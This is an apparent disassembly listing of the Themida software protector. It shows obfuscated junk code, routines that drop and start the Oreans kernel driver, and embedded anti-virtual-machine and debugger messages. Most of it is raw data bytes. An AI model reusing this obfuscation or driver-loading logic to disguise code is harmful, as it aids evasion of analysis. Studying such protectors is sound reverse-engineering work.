proc near ; CODE XREF: Themida_:00573FBCp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Dh inc edi push edi retn sub_573FC4 endp ; --------------------------------------------------------------------------- mov ds:3475AC8h, eax pusha add al, [edx] pop esp test eax, 7E8h add [ebx], dh xor eax, [edx-681088CFh] or [ebp+6A831D9h], edx pop ecx call near ptr loc_573FF9+1 add byte ptr [eax], 0 loc_573FF9: ; CODE XREF: Themida_:00573FF1p add [edi+77977F71h], bh push eax mov edi, 34A04A7Eh mov eax, [esp+4] call near ptr loc_574017+2 stc jo short loc_57406F mov es, cx jb short near ptr loc_574040+2 jge short loc_574094 loc_574017: ; CODE XREF: Themida_:00574009p lea edx, [ebx-17h] add eax, 4000000h and eax, 59A17BACh mov eax, [eax] mov dx, si mov [esp+4], eax mov edi, 0EC044C2h pop eax clc push 3 push 0 push 0 push ebx call sub_574043 loc_574040: ; CODE XREF: Themida_:00574013j and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_574043 proc near ; CODE XREF: Themida_:0057403Bp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 17h inc ebx push ebx retn sub_574043 endp ; --------------------------------------------------------------------------- db 0A7h dd 66622C37h, 36AD78Bh, 50F28166h, 4E8BAh, 0 dd 0D8BAC000h db 40h, 67h, 1Bh ; --------------------------------------------------------------------------- loc_57406F: ; CODE XREF: Themida_:0057400Fj push eax pusha jz loc_57407A mov cx, bx loc_57407A: ; CODE XREF: Themida_:00574071j mov dx, 94Fh popa mov eax, [esp+4] pusha mov di, cx mov bx, 0BB29h popa mov eax, [eax] mov edi, eax mov [esp+4], eax loc_574094: ; CODE XREF: Themida_:00574015j mov dx, si pop eax push 0 push edx call sub_5740A3 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5740A3 proc near ; CODE XREF: Themida_:0057409Bp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ch inc edx push edx retn sub_5740A3 endp ; --------------------------------------------------------------------------- db 7Fh dd 0B2252A85h, 9A837A10h, 958D8B50h, 5E06A802h, 0A4369D8Dh dd 6A06AAh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h dd 52420000h, 0DBA241C3h, 34B88320h, 37D280AEh, 0EA9B950h dd 1C890B28h, 0B70F5024h, 0F605AD7h, 68Ah, 11B52900h, 306A82Eh dd 0A80D91B5h, 0D0FF6106h, 0CE9h, 0D8D23100h, 6322CED9h dd 0B8924E36h, 850F400Dh, 309h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 15h, 64C35141h, 0E98D8B83h, 5806A832h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0B4C35747h dd 7C8A89EDh, 10819424h, 90D68B66h, 6870F60h, 50000000h dd 5A310F52h, 61CE8A58h, 0CE950h, 35580000h, 7E3B7BFEh dd 5D2C2853h, 6A903DFAh, 11E900h, 41040000h, 0FF09CA7Fh dd 381AF093h, 2E225B93h, 68A2E0FAh, 5480EA32h, 5E9h, 74445800h dd 348170FDh, 80EAB224h, 0E99D8954h, 6A06A821h, 56006A03h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 0A80D5319h, 5890F68h, 0B9000000h, 708F19CEh, 8D8B006Ah dd 6A806E5h, 6A036Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 170424h, 57470000h, 5FEB06C3h, 618D8B03h, 6806A827h dd 59590317h, 0CE780EBAh, 2404812Fh, 66A6FCE9h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 16h, 12C35040h, 8589FD17h dd 6A81A8Dh, 0A43F9D8Dh, 0BA6006AAh, 7CC83985h, 118B0Fh dd 0BE80000h, 2C000000h, 72555913h, 5F605659h, 6159656Eh dd 50EC8A93h, 0D98B6660h, 2830Fh, 61600000h, 0CE99361h dd 6A000000h, 9691946h, 0C9D288DCh, 0FFD69A19h, 15810FD0h dd 0E8000000h, 0Ch, 9945070Bh, 0E24EC6D8h, 1E0A90D9h, 5EF9B70Fh dd 6A850F40h, 6A000001h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 14042444h, 45000000h, 66B8C355h, 58D9E0BEh dd 0CE816660h, 1FB531ACh, 0B7605061h, 4896121h, 0D5B58924h dd 6A06A806h, 0ADB58900h, 0B606A80Eh, 2CA268B8h, 0DE8E781h dd 0E0000000h, 66A36B90h, 3F8653FCh, 0EE9E0B00h, 7E952h dd 6B560000h, 1F769AB9h, 815A5A4Ch, 0D3DE2404h, 0B531187Eh dd 6A80525h, 0F28B036Ah, 20B58589h, 6A06A8h, 6A95DE80h dd 0EE903h, 66EC0000h, 999A8A77h, 1AAF7307h, 8A19D9DDh dd 4E8h, 0 dd 525050C0h, 310FCF8Bh, 0D41CBA66h, 448B585Ah, 8B660424h dd 0E9008BFEh, 0Eh, 71207969h, 96E8136Dh, 81FDF7C8h, 448997DFh dd 8B660424h, 8D2958CBh, 6A82761h, 0A44A9D8Dh, 820F06AAh dd 8, 19BD8956h, 5F06A82Ah, 0F659589h, 669306A8h, 8B50FA8Bh dd 8D8993D7h, 6A8219Dh, 68C0Fh, 0BD290000h, 6A832C1h, 0F40D0FFh dd 5485h, 0E9853100h, 5806A81Bh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ch, 90C35545h, 0BFCC8477h, 0CFD53D44h dd 118E9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1C04h, 0C3534300h, 0A78F6AD6h, 50D1B7DBh, 66D88B6Ah dd 0B726E981h, 0F8BF664Bh, 0EB8A58F6h, 15D585C6h, 6A4306A8h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h dd 46000000h, 8FEDC356h, 0E6816660h, 0B468F11Ch, 8BF9B84Fh dd 243481D6h, 39CE0513h, 0C1958B57h, 5E06A80Ah, 31F9B5FFh dd 6A06A8h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h dd 55450000h, 0F1EC42C3h, 874D173h, 85BD298Bh, 0F06A82Fh dd 86h, 0B1BD8900h, 8D06A829h, 0A83AC385h, 5D8D8906h, 0FF06A80Bh dd 0F18D09D0h, 5006A81Bh, 0AC8734B9h, 241C8901h, 28F0Fh dd 0CF8B0000h, 9E8h, 2CDE4000h, 9586993Bh, 0BE96031h, 0E1000000h dd 107870Fh, 3299BF77h, 0FF5ED64Eh, 209D8DD0h, 8B06A871h dd 0A82F4195h, 0C9816606h, 1B86E01h, 23000000h, 0A820018Dh dd 89E3FF06h, 0A825ADBDh, 6AC18B06h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 3EDFC351h dd 8B7AED37h, 0A821098Dh, 8BC08B06h, 0A80F0595h, 0D9BD8306h dd 6A81Eh, 0BD830975h, 6A82DE9h, 50197400h, 0B8C08B53h dd 40Fh, 0FD58589h, 9D8D06A8h, 6AAA213h, 585BD3FFh, 2DE9BD83h dd 740006A8h, 0B8535017h, 40Fh, 0FD58589h, 9D8D06A8h, 6AA9EB4h dd 585BD3FFh, 1E398589h, 8A0F06A8h, 4, 21DDBA66h, 12E8h dd 0F6DDF900h, 0BB7801CEh, 891BD70Ah, 38BA3E98h, 8B30C7B3h dd 0A80BFD8Dh, 0C08B5E06h, 11E8h, 76AB4600h, 4DD9A98Eh dd 0A5A5F55Fh, 2A595E95h, 0C4BFCE81h, 5952F8A6h, 18870Fh dd 13E90000h, 31000000h, 39639BABh, 3DF8DB1h, 381FC238h dd 0EEB5465Eh, 0C1818091h, 6C8Bh, 68C0Fh, 0BD010000h, 6A81D49h dd 68h, 8EC38100h, 5A1102A9h, 0E85BD8Bh, 48B06A8h, 498D8911h dd 8106A815h, 1CB3ADE8h, 0B9B52918h, 8106A819h, 0A66242E8h dd 899D2976h, 8106A815h, 544BF4C0h, 11048955h, 2B219D8Bh dd 0EA8306A8h, 1CFA8104h, 0FFFFF94h, 0FFFFC185h, 8B6660FFh dd 9D8960F2h, 6A80525h, 303DB589h, 616106A8h, 99E9h, 75622F00h dd 65686367h, 326B63h, 6775622Fh, 63656863h, 662F006Bh dd 6563726Fh, 6E7572h, 6775622Fh, 63656863h, 6C75666Bh dd 732F006Ch, 63776F68h, 65646Fh, 6F68732Fh, 646F6377h dd 2F003265h, 74726C63h, 69642F00h, 2F003173h, 776F6873h dd 74736E69h, 65636E61h, 65672F00h, 736C7774h, 75746174h dd 6C2F0073h, 7473676Fh, 73757461h, 75642F00h, 7473706Dh dd 73757461h, 0 dd 68632F00h, 706B6365h, 65746F72h, 6F697463h, 6Eh, 0BD830000h dd 6AAACFCh, 0A840F00h, 0C7000000h, 0A82DE985h, 106h, 0D585C600h dd 4706A815h, 0B050B568h, 24348189h, 19DD3C38h, 31F9B5FFh dd 858D06A8h, 6A83AC3h, 0D0FFD0FFh, 3F80F88Bh, 22850F22h dd 47000000h, 0FAE22B0h, 0FFFFF985h, 3F80FFh, 31B840Fh dd 80470000h, 840F003Fh, 311h, 1EE9h, 3F8000h, 303840Fh dd 3F800000h, 6850F20h, 47000000h, 6E9h, 0E2E94700h, 80FFFFFFh dd 850F003Fh, 5, 2E0E9h, 1E900h, 80470000h, 840F203Fh dd 0FFFFFFF6h, 0F003F80h, 585h, 2C3E900h, 0AE80000h, 0E9000000h dd 0FFFFFFCBh, 2B4E9h, 7CB58D00h, 0E806AAACh, 225h, 0AD11BD03h dd 0BD8306AAh, 6AAAD11h, 0B840F00h, 0C7000000h, 0A81ED985h dd 106h, 0B58DC300h, 6AAAC87h, 1FCE8h, 11BD0300h, 8306AAADh dd 0AAAD11BDh, 840F0006h, 0Bh, 2DE985C7h, 106A8h, 8DC30000h dd 0AAAD00B5h, 1D3E806h, 0BD030000h, 6AAAD11h, 0AD11BD83h dd 0F0006AAh, 0B84h, 2185C700h, 106A815h, 0C3000000h, 0AC91B58Dh dd 0AAE806AAh, 3000001h, 0AAAD11BDh, 11BD8306h, 6AAADh dd 0B840Fh, 85C70000h, 6A82DE9h, 1, 9BB58DC3h, 0E806AAACh dd 181h, 0AD11BD03h, 0BD8306AAh, 6AAAD11h, 15840F00h, 0C7000000h dd 0A82DE985h, 106h, 0D985C700h, 106A81Eh, 0C3000000h dd 0ACA9B58Dh, 4EE806AAh, 3000001h, 0AAAD11BDh, 11BD8306h dd 6AAADh, 0A840Fh, 85C70000h, 6A81F91h, 1, 0ACB3B58Dh dd 26E806AAh, 3000001h, 0AAAD11BDh, 11BD8306h, 6AAADh dd 0A840Fh, 85C70000h, 6A81F91h, 1, 0ACBEB58Dh, 0FEE806AAh dd 3000000h, 0AAAD11BDh, 11BD8306h, 6AAADh, 0A840Fh, 85C70000h dd 6A807C5h, 1, 0ACC4B58Dh, 0D6E806AAh, 3000000h, 0AAAD11BDh dd 11BD8306h, 6AAADh, 0A840Fh, 85C70000h, 6A83105h, 1 dd 0ACCAB58Dh, 0AEE806AAh, 3000000h, 0AAAD11BDh, 11BD8306h dd 6AAADh, 0A840Fh, 85C70000h, 6A829DDh, 1, 0ACD8B58Dh dd 86E806AAh, 3000000h, 0AAAD11BDh, 11BD8306h, 6AAADh dd 0A840Fh, 85C70000h, 6A8170Dh, 1, 0ACE5B58Dh, 5EE806AAh dd 3000000h, 0AAAD11BDh, 11BD8306h, 6AAADh, 0A840Fh, 85C70000h dd 6A82C85h, 1, 0ACF0B58Dh, 36E806AAh, 3000000h, 0AAAD11BDh dd 11BD8306h, 6AAADh, 0A840Fh, 85C70000h, 6A808F9h, 1 dd 1E9h, 3F804700h, 9840F20h, 80000000h, 850F003Fh, 0FFFFFFEDh dd 1B960C3h, 8B000000h, 1CE9DEh, 3F800000h, 2850F00h, 2B000000h dd 38178AC9h, 5840F16h, 0B9000000h, 0 dd 3E804746h, 8840F00h, 0B000000h, 0D3850FC9h, 0BFFFFFFh dd 21840FC9h, 80000000h, 840F003Fh, 9, 0F203F80h, 0A85h dd 1B900h, 5E90000h, 0B9000000h, 0 ; --------------------------------------------------------------------------- or ecx, ecx jz loc_574A89 sub esi, ebx mov [ebp+6AAAD11h], esi jmp loc_574A93 ; --------------------------------------------------------------------------- loc_574A89: ; CODE XREF: Themida_:00574A76j mov dword ptr [ebp+6AAAD11h], 0 loc_574A93: ; CODE XREF: Themida_:00574A84j popa retn ; --------------------------------------------------------------------------- mov eax, 0 or eax, eax jz loc_574AAC mov dword ptr [ebp+6A81F91h], 0 loc_574AAC: ; CODE XREF: Themida_:00574A9Cj mov ecx, eax jmp loc_574CC1 ; --------------------------------------------------------------------------- a3cannotWriteOr db '3Cannot write oreans.vxd',0Ah db 0Dh,'Make sure that this file is not being used by another program.',0 dd 67h dup(0) dd 5C000000h, 6165724Fh, 762E736Eh, 6478h, 2 dup(0) db 0 ; --------------------------------------------------------------------------- loc_574CC1: ; CODE XREF: Themida_:00574AAEj jmp loc_574DB5 ; --------------------------------------------------------------------------- mov byte ptr [ebp+6A815D5h], 47h push 0E3E45B86h push dword ptr [ebp+6A831F9h] lea eax, [ebp+6A83AC3h] call eax push 104h lea ebx, [ebp+6A81C35h] push ebx call eax push eax lea esi, [ebp+6AAB29Eh] mov edi, esi xor al, al loc_574CF9: ; CODE XREF: Themida_:00574CFAj scasb jnz loc_574CF9 sub edi, esi mov ecx, edi pop eax mov edi, ebx add edi, eax rep movsb mov byte ptr [ebp+6A815D5h], 43h push 0BC8E6EFCh push dword ptr [ebp+6A831F9h] lea eax, [ebp+6A83AC3h] call eax lea esi, [ebp+6A81C35h] push 0 push 80h push 2 push 0 push 0 push 0C0000000h push esi call eax mov ebx, eax mov byte ptr [ebp+6A815D5h], 57h push 0A69BEE56h push dword ptr [ebp+6A831F9h] lea eax, [ebp+6A83AC3h] call eax lea edi, [ebp+6A8099Dh] lea ecx, [ebp+6AAB3C4h] push 0 push edi push 37D0h push ecx push ebx call eax test eax, eax jnz loc_574D97 lea esi, [ebp+6AAB0A6h] lea eax, [ebp+6AA9B7Ch] call eax lea ecx, [ebp+6A87120h] mov eax, 0 jmp ecx ; --------------------------------------------------------------------------- loc_574D97: ; CODE XREF: Themida_:00574D76j mov byte ptr [ebp+6A815D5h], 43h push 0C0764AA7h push dword ptr [ebp+6A831F9h] lea eax, [ebp+6A83AC3h] call eax push ebx call eax retn ; --------------------------------------------------------------------------- loc_574DB5: ; CODE XREF: Themida_:loc_574CC1j mov ecx, 37D0h call $+5 pop eax add eax, 0Eh mov [eax], ecx jmp loc_574DCC ; --------------------------------------------------------------------------- mov eax, ebx loc_574DCC: ; CODE XREF: Themida_:00574DC5j jmp loc_5785A1 ; --------------------------------------------------------------------------- db 4Dh, 5Ah, 90h dd 300h, 400h, 0FFFF00h, 0B800h, 0 dd 4000h, 8 dup(0) dd 0B000h, 0BA1F0E00h, 9B4000Eh, 1B821CDh, 5421CD4Ch, 20736968h dd 676F7270h, 206D6172h, 6E6E6163h, 6220746Fh, 75722065h dd 6E69206Eh, 534F4420h, 646F6D20h, 0D0D2E65h, 240Ah, 0 dd 1D175D00h, 737619DBh, 2 dup(73761988h), 6156E588h, 73761888h dd 73761988h, 73761888h, 63695288h, 73761968h, 88h, 0 dd offset dword_450050+4BB0h dd 0 dd 4000200h, 0 dd 3800000h, 1400h, 4 dup(0) dd 20000h, 1C000h, 9000h, 0 dd 7E00h, 0 dd 0C400h, 100h, 0DC00h, 3 dup(0) dd 12C00h, 13800h, 2 dup(0) dd 14200h, 19600h, 1D200h, 0 dd 1D200h, 0 dd 100000h, 1400h, 37C000h, 1000h, 0Dh dup(0) dd 27C004h, 0 dd 204500h, 100h, 1400h, 4F434C00h, 1000044h, 2000000h dd 3000000h, 4000000h, 5000000h, 6000000h, 7000000h, 8000000h dd 9000000h, 0A000000h, 0B000000h, 0C000000h, 0D000000h dd 0E000000h, 0F000000h, 10000000h, 11000000h, 12000000h dd 13000000h, 14000000h, 50580800h, 56544F52h, 4458h, 1030100h dd 300h, 0 dd 13h dup(7000000h), 3C000000h, 7000000h, 1001800h, 72760h dd 500101ADh, 91000700h, 279B0101h, 1060027h, 179276Fh dd 181017Dh, 1890185h, 7018Dh, 95010175h, 71000727h, 27980101h dd 16B0007h, 277101h, 360h dup(0) dd 40000h, 100h, 52505800h, 5856544Fh, 44h, 80h, 8 dup(0) dd 72657600h, 5050h, 73763100h, 73763252h, 73763352h, 52h dd 9C3h dup(0) dd 1BE88300h, 7309F883h, 8524FF07h, 0 ; --------------------------------------------------------------------------- clc retn ; --------------------------------------------------------------------------- align 4 dd 8 dup(0) dd 0C0330000h, 0C3C033C3h, 0C7E83h, 0C0330475h, 7E831AEBh dd 1475010Ch, 58Dh, 7E8B0000h, 0C7078918h, 42046h, 0C0330000h dd 50580CC3h, 56544F52h, 445F4458h, 4244h db 0 ; --------------------------------------------------------------------------- loc_5785A1: ; CODE XREF: Themida_:loc_574DCCj jmp loc_57965D ; --------------------------------------------------------------------------- dw 4441h dd 49504156h, 442E3233h, 4F004C4Ch, 536E6570h, 6E614D43h dd 72656761h, 72430041h, 65746165h, 76726553h, 41656369h dd 61745300h, 65537472h, 63697672h, 47004165h, 614E7465h dd 65766974h, 74737953h, 6E496D65h, 4F006F66h, 536E6570h dd 69767265h, 416563h, 656C6544h, 65536574h, 63697672h dd 6C430065h, 5365736Fh, 69767265h, 61486563h, 656C646Eh dd 6E6F4300h, 6C6F7274h, 76726553h, 656369h, 8 dup(0) dd 6165726Fh, 3233736Eh, 7379732Eh, 2 dup(0) dd 65726F00h, 78736E61h, 732E3436h, 7379h, 0 dd 6F000000h, 6E616572h, 323373h, 5C2E5C5Ch, 6165726Fh dd 3233736Eh, 2E5C5C00h, 6F6C475Ch, 5C6C6162h, 6165726Fh dd 3233736Eh, 65726F00h, 78736E61h, 5C003436h, 475C2E5Ch dd 61626F6Ch, 726F5C6Ch, 736E6165h, 343678h, 42h dup(0) aSystemroot db 'SYSTEMROOT',0 aSSystem32Drive db '%s\system32\drivers\%s',0 aSSyswow64Drive db '%s\syswow64\drivers\%s',0 aSSystem32Dri_0 db '%s\system32\drivers\oreans32.sys',0 align 4 dd 48h dup(0) dd 43330000h, 6F6E6E61h, 70552074h, 65746164h, 65726F20h dd 2E736E61h, 20737973h, 76697264h, 202E7265h, 61656C50h dd 202C6573h, 656B616Dh, 72757320h, 68742065h, 79207461h dd 6820756Fh, 0A657661h, 6D64610Dh, 73696E69h, 74617274h dd 7327726Fh, 72657020h, 7374696Dh, 65687420h, 72696620h dd 74207473h, 20656D69h, 74616874h, 756F7920h, 65726120h dd 696F6720h, 7420676Eh, 7572206Fh, 6874206Eh, 70207369h dd 72676F72h, 2E6D61h, 59h dup(0) dd 43330000h, 6F6E6E61h, 706F2074h, 6F206E65h, 6E616572h dd 78762E73h, 72642064h, 72657669h, 614D202Eh, 7320656Bh dd 20657275h, 74616874h, 65726F20h, 2E736E61h, 0A647876h dd 2073690Dh, 20746F6Eh, 6E65706Fh, 20796220h, 746F6E61h dd 20726568h, 676F7270h, 2E6D6172h, 67h dup(0) dd 53330000h, 72756365h, 676E4565h, 20656E69h, 76697264h dd 63207265h, 6F6E6E61h, 65622074h, 64707520h, 64657461h dd 63656220h, 65737561h, 65687420h, 61206572h, 73206572h dd 20656D6Fh, 676F7270h, 736D6172h, 69737520h, 0D0A676Eh dd 202E7469h, 20756F59h, 6465656Eh, 206F7420h, 736F6C63h dd 68742065h, 2065736Fh, 676F7270h, 736D6172h, 20726F20h dd 74736572h, 20747261h, 72756F79h, 6D6F6320h, 65747570h dd 0D0A2E72h, 74736552h, 20747261h, 3F776F6Eh, 0D9h dup(0) dd 5C5C0000h, 724F5C2Eh, 736E6165h, 6478762Eh, 2 dup(0) dd 25000000h, 724F5C73h, 736E6165h, 6478762Eh, 2 dup(0) dd 58000000h, 746F7270h, 6E657645h, 74h, 0Ah dup(0) dd 65530000h, 74756853h, 6E776F64h, 76697250h, 67656C69h dd 65h, 72430000h, 65746165h, 6E657645h, 50412074h, 72452049h dd 20726F72h, 6C696877h, 78652065h, 63617274h, 6E6F6974h dd 65687420h, 69726420h, 726576h, 45746547h, 7269766Eh dd 656D6E6Fh, 6156746Eh, 62616972h, 4120656Ch, 45204950h dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h dd 6874206Eh, 72642065h, 72657669h, 65704F00h, 4D43536Eh dd 67616E61h, 41207265h, 45204950h, 726F7272h, 69687720h dd 6520656Ch, 61727478h, 6F697463h, 6874206Eh, 72642065h dd 72657669h, 65724300h, 53657461h, 69767265h, 41206563h dd 45204950h, 726F7272h, 69687720h, 6520656Ch, 61727478h dd 6F697463h, 6874206Eh, 72642065h, 72657669h, 6F6C4300h dd 65536573h, 63697672h, 6E614865h, 20656C64h, 20495041h dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h dd 74206E6Fh, 64206568h, 65766972h, 704F0072h, 65536E65h dd 63697672h, 50412065h, 72452049h, 20726F72h, 6C696877h dd 78652065h, 63617274h, 6E6F6974h, 65687420h, 69726420h dd 726576h, 72617453h, 72655374h, 65636976h, 49504120h dd 72724520h, 7720726Fh, 656C6968h, 74786520h, 74636172h dd 206E6F69h, 20656874h, 76697264h, 41007265h, 20434950h dd 6F727265h, 43203A72h, 6F6E6E61h, 69662074h, 5020646Eh dd 65636F72h, 726F7373h, 6F432073h, 6F72746Eh, 6C42206Ch dd 736B636Fh, 6C50202Eh, 65736165h, 630D0A2Ch, 61746E6Fh dd 69207463h, 406F666Eh, 6165726Fh, 632E736Eh, 66206D6Fh dd 7420726Fh, 20736968h, 6F727265h, 72h, 1040000h, 53330000h dd 7972726Fh, 6874202Ch, 61207369h, 696C7070h, 69746163h dd 63206E6Fh, 6F6E6E61h, 75722074h, 6E75206Eh, 20726564h dd 69562061h, 61757472h, 614D206Ch, 6E696863h, 65h, 6Fh dup(0) dd 10000000h, 0 dd 0FFFF0001h, 17FFEh, 10000h, 24A0000h, 0 dd 0F0001h, 94000408h, 5000000h, 1000000h, 28000000h, 200000Ah dd 21h dup(0) dd 53000000h, 7774666Fh, 5C657261h, 656E6957h db 0 ; --------------------------------------------------------------------------- loc_57965D: ; CODE XREF: Themida_:loc_5785A1j mov eax, esp cmc mov [ebp+6A82589h], eax push 0 push ecx call sub_579671 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_579671 proc near ; CODE XREF: Themida_:00579669p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 18h inc ecx push ecx retn sub_579671 endp ; --------------------------------------------------------------------------- db 4Fh, 34h, 0E7h dd 8A0FC54Fh, 6, 1741B589h, 0C08B06A8h, 0BD896060h, 6A8066Dh dd 0D3D9589h, 606106A8h, 1C098D89h, 8B6606A8h, 666161D1h dd 0BD83CB8Bh, 6A81ED9h, 83097500h, 0A82DE9BDh, 19740006h dd 0C08B5350h, 43DB8h, 0B5858900h, 8D06A807h, 0AAA1AC9Dh dd 5BD3FF06h, 0E9BD8358h, 6A82Dh, 53501774h, 43DB8h, 0B5858900h dd 8D06A807h, 0AA9E9B9Dh, 5BD3FF06h, 49958958h, 8B06A80Fh dd 0A82E2D95h, 0E8C08B06h, 5, 0D21441EBh, 81BD8BFDh, 5A06A831h dd 10E9C08Bh, 0D8000000h, 93FC2648h, 0BB9D773Fh, 0EC5763F9h dd 8343DDB4h, 0A81ED9BDh, 9750006h, 2DE9BD83h, 740006A8h dd 8B535013h, 0B8C0h, 9D8D0000h, 6AAA04Eh, 585BD3FFh, 2DE9BD83h dd 740006A8h, 0B8535011h, 0 ; --------------------------------------------------------------------------- lea ebx, [ebp+6AA9EFFh] call ebx pop ebx pop eax push 0 push ebp call sub_57977D and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57977D proc near ; CODE XREF: Themida_:00579775p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 17h inc ebp push ebp retn sub_57977D endp ; --------------------------------------------------------------------------- db 5Eh, 23h, 35h ; --------------------------------------------------------------------------- push edi jz loc_57979D xor [ebp+6A81D45h], esi loc_57979D: ; CODE XREF: Themida_:00579791j jo loc_5797A9 adc ecx, 0C41EAE6h loc_5797A9: ; CODE XREF: Themida_:loc_57979Dj mov eax, eax and di, 695Fh mov eax, eax jmp loc_5797BD ; --------------------------------------------------------------------------- mov ebx, 3C8876EDh pop ebx loc_5797BD: ; CODE XREF: Themida_:005797B2j cmp dword ptr [ebp+6A81ED9h], 0 jnz short loc_5797CF cmp dword ptr [ebp+6A82DE9h], 0 jz short loc_5797E2 loc_5797CF: ; CODE XREF: Themida_:005797C4j push eax push ebx mov eax, eax mov eax, 0 lea ebx, [ebp+6AA9F80h] call ebx pop ebx pop eax loc_5797E2: ; CODE XREF: Themida_:005797CDj cmp dword ptr [ebp+6A82DE9h], 0 jz short loc_5797FC push eax push ebx mov eax, 0 lea ebx, [ebp+6AA9ECDh] call ebx pop ebx pop eax loc_5797FC: ; CODE XREF: Themida_:005797E9j js loc_579816 jmp loc_579816 ; --------------------------------------------------------------------------- db 0DEh dd 0F61F6016h, 51F82598h, 774AD3C1h db 0BEh, 6Eh ; --------------------------------------------------------------------------- loc_579816: ; CODE XREF: Themida_:loc_5797FCj ; Themida_:00579802j mov edi, edx mov eax, eax mov edx, [ebp+6A80565h] mov eax, eax mov di, dx cmp dword ptr [ebp+6A81ED9h], 0 jnz short loc_579837 cmp dword ptr [ebp+6A82DE9h], 0 jz short loc_57984A loc_579837: ; CODE XREF: Themida_:0057982Cj push eax push ebx mov eax, eax mov eax, 0 lea ebx, [ebp+6AA9FE7h] call ebx pop ebx pop eax loc_57984A: ; CODE XREF: Themida_:00579835j cmp dword ptr [ebp+6A82DE9h], 0 jz short loc_579864 push eax push ebx mov eax, 0 lea ebx, [ebp+6AA9EE6h] call ebx pop ebx pop eax loc_579864: ; CODE XREF: Themida_:00579851j clc add edx, [ebp+6A800E1h] mov eax, eax cmc mov [ebp+6A80C39h], ecx mov eax, eax push 0 push ecx call sub_579881 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_579881 proc near ; CODE XREF: Themida_:00579879p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Bh inc ecx push ecx retn sub_579881 endp ; --------------------------------------------------------------------------- db 33h, 0CAh, 0E5h dd 870922ECh, 8E951h, 60C70000h, 3DA751E6h, 83FC4306h dd 0A81ED9BDh, 9750006h, 2DE9BD83h, 740006A8h, 8B535013h dd 0B8C0h, 9D8D0000h, 6AA9F19h, 585BD3FFh, 0D35860BAh dd 2BC08B6Dh, 0A8210995h, 0E8C08B06h, 11h, 0E7A7ABDDh dd 0BB54DF48h, 8211E256h, 42089557h, 95895601h, 6A80955h dd 0BD835F59h, 6A81ED9h, 83097500h, 0A82DE9BDh, 19740006h dd 0C08B5350h, 7D0B8h, 0B5858900h, 8D06A807h, 0AAA1AC9Dh dd 5BD3FF06h, 0E9BD8358h, 6A82Dh, 53501774h, 7D0B8h, 0B5858900h dd 8D06A807h, 0AA9E9B9Dh, 5BD3FF06h, 10E858h, 323D0000h dd 6455036Ah, 1BBF6927h, 0F6FACCD1h, 9D89464Dh, 6A80D51h dd 0D78B6659h, 0BD8BC08Bh, 6A80CF1h, 15D585C6h, 0F5306A8h dd 9068D1B7h, 6A99395Fh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1C042444h, 45000000h, 0B4ACC355h, 0F96191Dh dd 660A10E2h, 0FFB04BB9h, 0A831F9B5h, 0CA816606h, 858D1992h dd 6A83AC3h, 31918D8Bh, 0D0FF06A8h, 7840Fh, 66600000h dd 1A29C281h, 0DD858961h, 8006A820h, 85C666F6h, 6A815D5h dd 9830F57h, 0F000000h, 38Fh, 0D3BF0F00h, 4520668h, 44BA6690h dd 0F9B5FF3Ah, 8906A831h, 0A81A31BDh, 0C3858D06h, 6006A83Ah dd 0DFE88166h, 699D8BEEh, 6106A809h, 6AD0FFh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 160424h, 57470000h, 0AF6654C3h dd 718D0160h, 8B06A80Fh, 0A80D45B5h, 85896106h, 6A82A7Dh dd 6840Fh, 9D290000h, 6A80E8Dh, 1C31BD8Bh, 85C606A8h, 6A815D5h dd 52006A43h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h dd 0C3524200h, 4527D09Bh, 786D5479h, 1D8D8B97h, 6806A814h dd 0BC907028h, 1D459589h, 0B5FF06A8h, 6A831F9h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 7C35242h, 5EF98C37h dd 290EE2D5h, 0A806618Dh, 0C3858D06h, 0FF06A83Ah, 899D89D0h dd 8906A802h, 0A8028185h, 0D585C606h, 4C06A815h, 0DA1CE968h dd 0F9B5FFD9h, 6A06A831h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 0EC9FC353h, 9E38DF3Ch dd 32098D8Bh, 858D06A8h, 6A83AC3h, 0FFC88B66h, 68D0FD0h dd 8B000000h, 0A831498Dh, 0ED858906h, 0B206A81Eh, 0D585C648h dd 4606A815h, 615BD29h, 146806A8h, 0E9BADE06h, 7, 0F734DFE8h dd 0FF0934C9h, 0A831F9B5h, 96BF6606h, 0C3858DDAh, 8B06A83Ah dd 0A82245BDh, 0BAD0FF06h, 7AE317E5h, 2FA98589h, 850906A8h dd 6A80AFDh, 3001B529h, 85C606A8h, 6A815D5h, 0B5E26847h dd 8B608A0Fh, 0A801AD9Dh, 9C2BE06h, 0FF613DBFh, 0A831F9B5h dd 